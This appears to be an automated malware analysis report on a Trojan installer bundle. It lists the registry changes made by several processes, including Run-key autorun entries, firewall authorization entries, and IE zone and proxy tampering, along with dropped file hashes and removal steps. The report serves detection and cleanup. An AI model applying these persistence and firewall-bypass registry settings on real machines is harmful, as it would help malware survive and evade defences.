[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Ainqngz5.2.exe]
"(Default)" = "%Program Files%\ainqngz5.2\Ainqngz5.2.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\dsrs]
"EX" = "1"
"ED" = "107"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"UninstallString" = "%Program Files%\ainqngz5.2\uninstall.exe"

[HKLM\SOFTWARE\dsrs]
"EN" = "pczh_107_306.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 91 1C 32 01 4C C8 70 8F 54 0C 76 40 A3 B3 B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The process sc.exe:1416 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D9 0A FE 9B EA F6 9D DA 8E 04 15 F6 07 5A 25 CD"

The process sc.exe:1888 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 77 67 0F 36 8D 24 78 A5 18 00 C5 33 C2 F4 01"

The process wwwww_3340.exe:3976 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 65 6B 18 D0 C1 34 0B 62 87 64 3D 8F 68 74 10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

The process %original file name%.exe:928 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 11 E8 A1 37 D5 FC 3F 5D EC DB 94 77 13 52 4E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process oovmdw_70745.exe:588 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 17 65 FA BA B1 E3 98 41 3D A0 F7 28 E8 68 43"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\metnsd\clsid]
"SequenceID" = "77 55 30 3A 19 57 33 4B 8E C3 BE A6 1C BF 51 7F"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度卫士在线安装程序"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度卫士在线安装程序"

The process YFMSever.exe:3420 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE B8 11 58 45 5C 3E AB 60 AF 6E 1A EB 9B 03 88"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process yymusic05.exe:3356 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 D3 DB 84 FB 32 9A 41 D5 84 F0 B2 3E 84 41 0C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\yyfm0529]
"RD" = "_2014081121"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_2014081121" = "%Program Files%\yyfm0529\2014081121\yymusic05.exe -mini"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_News_2014081121" = "%Program Files%\yyfm0529\2014081121\YFMSever.exe -mini"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

"ProxyServer"

"AutoConfigURL"

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BoxNews"

"yyfm0529_News"

"YyfmPlay"

"yyfm0529"

The process guagua_77150006814.exe:496 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 0C DA A3 D0 7B 08 D6 6A 90 7E 08 2D 5A 91 0D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Ainqngz5.2.exe:504 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"

[HKLM\SOFTWARE\Microsoft\Direct3D\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1404720818"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 95 55 92 11 66 A2 60 B2 24 81 37 E1 19 C5 55"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
44edff85d12e091f0b129f05a3f2a042c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll
d184763cb4e62d531193978de7b82db2c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMDownload.dll
c8b0dca29d7b9aff1b801af86212c586c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMNet.dll
12f98be1d919784370eb0f87e78b60d8c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll
30cbc602ada7cdfb0346038c05996d84c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMReport.dll
b540a866191f7fd20f5e6355bc2b094ec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\BDMSkin.dll
f52eb281e29da8065e18805617ac2cbcc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\System.dll
763b532d651f0ad5e135d9b57bf4fba4c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\dl.dll
ebfe7c9594e300bb0c16e7bb99a7e66dc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\hu.dll
731e4fd7cbbff12adebb2a4ff8fbe9ebc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll
254f13dfd61c5b7d2119eb2550491e1dc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\NSISdl.dll
00a0194c20ee912257df53bfe258ee4ac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\System.dll
f951a17f9892add6be51b7f84638defec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe
2e02c1bdb46273ef13cb5203576e079fc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe
8d6d78fcc0a17b47f17ce77217ef53a1c:\Program Files\ainqngz5.2\Ainqngz5.2.exe
151ff53109c38e720e9083e3a4e194f8c:\Program Files\ainqngz5.2\candid.exe
61dd64b3a469bdcd80a69e8fc084d240c:\Program Files\ainqngz5.2\schedule.exe
b975774b4cabf39685edf11b68b81dbec:\Program Files\ainqngz5.2\uninstall.exe
f06fb28d3a6db3fbd7e462bb6322af56c:\Program Files\updatr\oovmdw_70745.exe
927b4252817c5d2b7c57c0c84e72fcfcc:\Program Files\updatr\union.exe
927b4252817c5d2b7c57c0c84e72fcfcc:\Program Files\updatr\yunbo0717.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    candid.exe:600
    pczh_107_306.exe:1628
    sc.exe:1416
    sc.exe:1888
    wwwww_3340.exe:3976
    oovmdw_70745.exe:588
    yymusic05.exe:3356
    guagua_77150006814.exe:496

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\жÔØ.lnk (715 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (4 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (6 bytes)
    %Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (6 bytes)
    %Program Files%\ainqngz5.2\candid.exe (5520 bytes)
    %Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (14 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh8.tmp (19409 bytes)
    %Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (1134 bytes)
    %Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)
    %Program Files%\yyfm0529\2014081121\Data\dh.ini (56 bytes)
